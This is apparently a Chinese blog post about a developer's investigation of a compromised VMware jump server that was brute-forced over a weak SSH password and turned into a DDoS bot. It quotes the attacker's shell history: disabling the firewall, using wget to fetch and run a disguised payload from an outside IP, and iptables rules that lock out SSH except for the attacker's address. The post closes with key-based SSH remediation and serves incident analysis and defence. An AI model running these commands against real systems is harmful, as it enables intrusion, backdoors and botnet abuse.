事件背景
回想起来应该算是去年的事情了, 时值 2019 年 1 月 24 日早上, 当时我正忙碌于开发手头的一个珠宝分销系统项目, 由于已经进行了多日封闭式开发, 项目初见效果, 准备放到内网服务器 A 上跑跑看. 项目的一些功能需要通过公网才能访问, 于是便打算通过一台之前就架设在公网的服务器 B上做 SSH 端口转发, 将服务器 A 指定端口映射到服务器 B 上. 多次尝试服务器账号密码进行 SSH 连接, 发现居然一直无法连上, 怕是被其它同事改了密码, 但是询问下发现其它人也无法连上.
初步分析
首先, 不可能是服务器物理机宕机, 因为服务器 B 根本不是一台真正的物理机, 而只是用 Vmware 开出来的一台虚拟机, 由于配置了外网地址的虚拟网卡, 所以可以通过外网访问. 这里说一下, 公司的网络平时都是跑在内网的, 有前辈写好的(也有可能是买其他公司的)的网络管理服务端, 项目本身也只允许跑在内网服务器, 需要外网访问只好用穿透技术. Vmware 的稳定性还是很好的, 上面的其他服务器仍然坚挺. 好在 Vmware 拥有虚拟机的直接控制权限, 发现依然可以使用 root 用户登录服务器 B, 这说明服务器密码尚未修改, 只是 SSH 出于什么原因挂了, 导致无法通过远程 SSH 登录.
直接在 Vmware 管理界面用 root 用户登录, 通过ps auxf
命令发现 sshd 进程依然跑得好好的, 最近的 updatetime 是很久之前. 另外, 可以通过ping
命令得到服务器的回应. 查看路由器的流量数据, 发现这台服务器居然在短短的 10 多天内有近 3TB 的上传流量. 而这台服务器作为跳板机根本没跑什么其它高流量的服务, 显然这台服务器是被攻击了.
先使用netstat -anp
命令查看 TCP 连接情况, 发现这台服务器已经和182.100.67.***
, 和 23.234.14.**
两台意义不明的服务器建立了连接, 查看 whois 发现 182.100.67.***
是属于江西新余的IP, 而23.234.14.**
居然是美国洛杉矶的. 看来攻击者为了攻击花了不少心思, 寻思用匿名的跳板机来混淆视线. 介于此时已经无法使用 SSH 远程登录, 攻击者应该是针对 sshd 做了什么动作, 攻击者八成是已经拿到 Shell 了, 而且由于监测到异常流量, 攻击者应该是在这台服务器中跑了什么病毒进程, 无奈ps auxf
列出的进程较多, 很多还是系统进程, 一时不好判断哪个是病毒进程. 查看 user 发现除了 root 没有新的用户被新建, 就打算用history
看看会不会记录攻击者的攻击痕迹, 结果是, 居然没有.
发现攻击方式
但是要注意到 linux 的history
是会话隔离的, 同一个用户用不同的会话登录, 不同的会话有不同的命令历史, 只有在所有会话关闭之后才会将不同会话的历史合并, 比如:
session A:
$ echo session_a
$ history
1 echo session_a
2 history
# 不关闭 session A, session B 无法拿到 session A 的历史
session B:
$ echo session_b
1 echo session_b
2 history
# 关闭 session A 和 session B 之后 打开 session C:
session c:
$ history
1 echo session_a
2 history
3 echo session_b
4 history
也就是说, 如果攻击者仍然与这台服务器保持着 SSH 连接, 是无法看到命令行历史的. 于是重启 sshd 进程强制中断连接. 再次连接, 这时发现了不得了的事情, 下面是攻击者的关键命令行历史(一些无用的命令删掉了):
56 shutdown -h now
57 netstat -anp|grep 443
58 vi /etc/ssh/sshd_config
59 service sshd restart
60 netstat -anp|grep 443
61 kill 2322
64 ifconfig
65 tcpdump -i ens160 port 443 -nn -s0
66 systemctl status firewalld
67 systemctl stop firewalld
68 systemctl disable firewalld
71 netstat -anp|grep ssh
72 kill -9 2396
73 netstat -anp|grep ssh
89 service sshd restart
90 cd /usr/bin
91 wget http://23.234.14.**:12345/servicese
92 chmod 777 servicese
93 ./servicese
96 ifconfig
97 iptables -I INPUT -p tcp --dport 22 -j DROP
98 iptables -I INPUT -s 182.100.67.*** -p tcp --dport 22 -j ACCEPT
看这些命令, 操作很流畅.
- 首先
vi /etc/ssh/sshd_config
修改 sshd 配置, 估计攻击者意图查看 sshd 的连接方式. - 然后查看运行在 443 端口的进程并杀死, 这很奇怪, 印像中这服务器当初并没有在 443 跑什么东西, 攻击者为了保证 443 没有连接还用
tcp dump
抓取网卡的 443 端口的包. - 之后攻击者关闭了防火墙
firewalld
. - 攻击者再次重启了 sshd.
- 关键的地方, 攻击者开始注入病毒程序, 进入
/usr/bin
, 使用wget
从http://23.234.14.**:12345
把病毒程序servicese
下载, 更改权限为777
使程序能够被执行,./servicese
运行病毒程序. - 可耻的地方, 攻击者之前关闭了
firewalld
防火墙, 这里居然使用iptables
加入 IP 限制, 把所有连接到 22 端口的 TCP 连接都拒掉, 即:iptables -I INPUT -p tcp --dport 22 -j DROP
, 这直接导致之前无法通过 ssh 远程连接上, 但是攻击者留了一个后门, 就是允许182.100.67.***
这个 IP 通过 22 端口进行 ssh 连接, 也就是之前查到的江西新余的 IP.
现在攻击者的攻击方式很明了, 看起来攻击者并没有想象中的高明, 也从进程中找到了servicese
进程, 说实话, servicese
这个程序名还是有点意思的, 因为和系统的守护进程service
长得比较像, 导致无法一眼看出这个程序有什么不对劲. 后面用 nmap 对美国的 IP 和新余的 IP 进行端口扫描了一下, 发现新余机子是一台 windows2008, 确实应该是攻击者用来攻击并连接的服务器, 而美国的服务器只是一个 http 服务器, 提供病毒程序的下载源地址. 发现被攻击的时候, http://23.234.14.**:12345
依然可以访问, 可以直接从那里下载病毒程序, 不过现在是被攻击者主动关闭, 无法访问.
那么攻击者是如何拿到服务器的权限呢? 说起来也有点丢人, 猜测应该是暴力破解了. 因为这台服务器平时只是作为跳板机, 所以连接密码是弱密码, 很容易通过彩虹表或者试错 猜出来. 这里告诫各位: 代码千万行, 安全第一条, 密码太弱鸡, 开发两行泪.
分析病毒样本
现在要确定病毒程序servicese
到底对服务器做了什么. 使用tail
命令查看servicese
二进制文件的最后几行的内容, 发现了:
gnu_cxx15__mt_alloc_baseIjE9constructEPjRKj_ZNSt13runtime_errorC1ERKSs_nl_load_locale_from_archivewctrans_ZTS8CSubTask_ZNKSt12_Vector_baseIP14CThreadHttpGetSaIS1_EE13get_allocator
gnu_cxx15
,runtime_error
,Vector_baseIP14CThread
等词直接表明这是一个使用 CPP 编写的程序, 于是采用 C 语言强大的反编译神器 IDA 对源程序进行反编译, 看能不能找到什么线索. 这里注意, 当病毒程序被从服务器拷贝到本地 windows 的时候, 直接就被 windows defender 给清理掉了, 可见这应该是一个已经被记录在案的病毒程序.
我并不打算详细说 IDA 的分析过程, 只是在审查病毒程序的函数时发现了名为MainBeikong
的函数, 然后网上一搜, 就发现了 360 团队发出的这篇文章:某僵尸网络被控端恶意样本分析. 这篇文章描述的病毒样本和我手上的这个病毒程序有惊人的相似度:
- 都是 1223123 字节, 但是 MD5 貌似不一样, 我这边的是
cde16928b968cb087c961a258ba45442
, 文章给出的是EFF1CB4E98BCC8FBCBDCA671D4C4A050
, 应该是有改动; - 使用
readelf
获得的源代码文件名完全一致; - 病毒的攻击目标相似: 网络中bot节点多是一些存在弱口令或软件漏洞的 linux 主机, 这台服务器属于弱口令目标.
- 攻击后端症状相似, 病毒在获得服务器控制权后会执行对外 DDOS 攻击, 也就是说此时服务器称为了攻击者的肉鸡, 攻击者可以使用服务器的 CPU 资源和网路资源对其它服务器进行流量攻击, 其攻击力度可以参考 360 团队那篇文章描述的, 这也就是为什我这边的路由器会有高额的异常流量.
正如 360 团队那篇文章所言:
通过此样本可以发现黑产团队的 DDoS 攻击实力已经到了"比较娴熟"的地步, 而根据样本中不同部分的不同代码风格猜测黑产团队可能存在多人多团队合作的编程方式或"黑吃黑"的代码盗用情况
可见现在的互联网攻击确实不容小觑, 必须时刻注意安全问题.
事后解决方案
在了解到了该病毒程序的主要功能之后, 自然是不能让它继续作恶了, 在和同事交流之后决定采用比较彻底的方式: 把相关的攻击细节备份留作警示后直接关闭这个 Vmware 的虚拟机, 然后新开一台虚拟机代替原来的, 新的服务器不采用 ssh 账号密码登录, 而是直接采用证书的形式访问. 也就是编辑/etc/ssh/sshd_config
为:
PasswordAuthentication no
然后为服务器生成证书, 详细过程可以参考: 设置 SSH 通过密钥登录,
一般而言密钥登录是不容易被攻破的.